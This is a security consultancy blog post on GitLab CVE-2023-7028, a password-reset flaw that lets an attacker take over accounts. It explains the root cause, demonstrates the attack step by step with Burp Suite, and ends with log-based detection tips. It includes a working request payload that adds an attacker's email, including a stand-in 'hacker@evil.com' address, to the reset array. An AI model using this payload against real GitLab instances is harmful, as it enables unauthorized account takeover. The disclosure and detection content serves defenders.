Hello readers! In this blog post, our Senior Consultants, Ravi and Punit talk about the recently discovered account takeover vulnerability identified in GitLab Community Edition (CE) and Enterprise Edition (EE). The blog talks about the vulnerability, covering its origin, potential risks, and the comprehensive measures GitLab has taken to address this critical issue in detail. The blog not only discusses the technical aspects of this vulnerability but also offers recommendations to fortify their GitLab instances.
By the end of this article, you’ll have a solid understanding of this vulnerability, as well as the techniques and tools needed to detect and exploit it. So, let’s get into the GitLab EE/CE Account Takeover (CVE-2023-7028) vulnerability and learn how to hack GitLab EE/CE like a pro!
The following versions of GitLab EE/CE are affected by this vulnerability:
First, let us understand what GitLab is and what is the root cause of the identified vulnerability.
GitLab is a web-based platform that provides a set of tools for managing source code repositories, facilitating collaboration among developers, and enabling continuous integration/continuous deployment (CI/CD) pipelines. It’s widely used for version control and project management, allowing teams to efficiently collaborate on software development projects.
As GitLab is a web-based platform that interacts with various users, it offers its users the ability to reset and recover their accounts if they lose their passwords. This is the primary region where the vulnerability exists, allowing an attacker to manipulate the password reset process and potentially gain unauthorized access to user accounts, including but not limited to higher-privileged users.
The figure below illustrates the whole attack cycle, explaining how it works and could be used to achieve account takeover.
Now that we have developed a high-level understanding of the vulnerability, let us dive into the more technical aspect of the underlying misconfiguration and understand how the vulnerability works.
The password reset request contains an array that accepts the user’s email address as input, after which the GitLab instance sends a password reset link to the user’s email address to recover the account. However, the platform fails to properly check the user’s input on the server side and sends the user’s password reset link to the attacker-controlled email address when the attacker’s email is provided as an additional email as input.
The affected input field and the payload are described below to develop a better understanding of the vulnerability:
Payload: user[email][]=victim@example.com&user[email][]=hacker@evil.com
Now that we’ve covered the theoretical aspects of the attack and have a solid knowledge of the vulnerability, let’s move on to the practical demonstration and see how the attack looks in real-time.
In Gitlab 16.1.0 community edition, navigate to the Login page and click the “Forgot your password?” option.
Enter the email address of the valid user whose account you want to reset, in this case it is “punit@grr.la ”as also shown in the screenshot below:
Click on the “Reset Password” button and intercept the password reset request using the Burp Suite proxy. The same has been demonstrated in the screenshot below:
Send the intercepted request to the Repeater tab, append the attacker’s email “punit7@gmail.com” to the “user[email][]” array, and forward the request, as shown in the screenshot below.
Payload &user%5Bemail%5D%5B%5D=punit%40grr.la&user%5Bemail%5D%5B%5D=punit7%40gmail.com
Visit the attacker’s mailbox and observe that the password reset email is received with two email addresses in the “to” section, as shown in the screenshot below:
Navigate to the victim user’s mailbox and observe that an identical mail is received in the email address “punit@grr.la” section, as shown in the screenshot below:
This vulnerability allows unauthenticated attackers to perform an account takeover without requiring any interaction from the victim user and therefore is assigned a severity score of 10 on the CVSS scale.
For organizations with self-managed GitLab instances, a recommended course of action involves thoroughly reviewing logs to identify unusual behavior associated with password reset attempts by scrutinizing the gitlab-rails/production_json.log file.
Look for HTTP requests directed to the /users/password path with params.value.email containing a JSON array housing multiple email addresses. A second checkpoint involves the gitlab-rails/audit_json.log file, where entries with meta.caller_id labeled as PasswordsController#create and target_details featuring a JSON array with multiple email addresses could signify suspicious activity.
To prevent this vulnerability, the below-mentioned best practices and suggestions should be followed: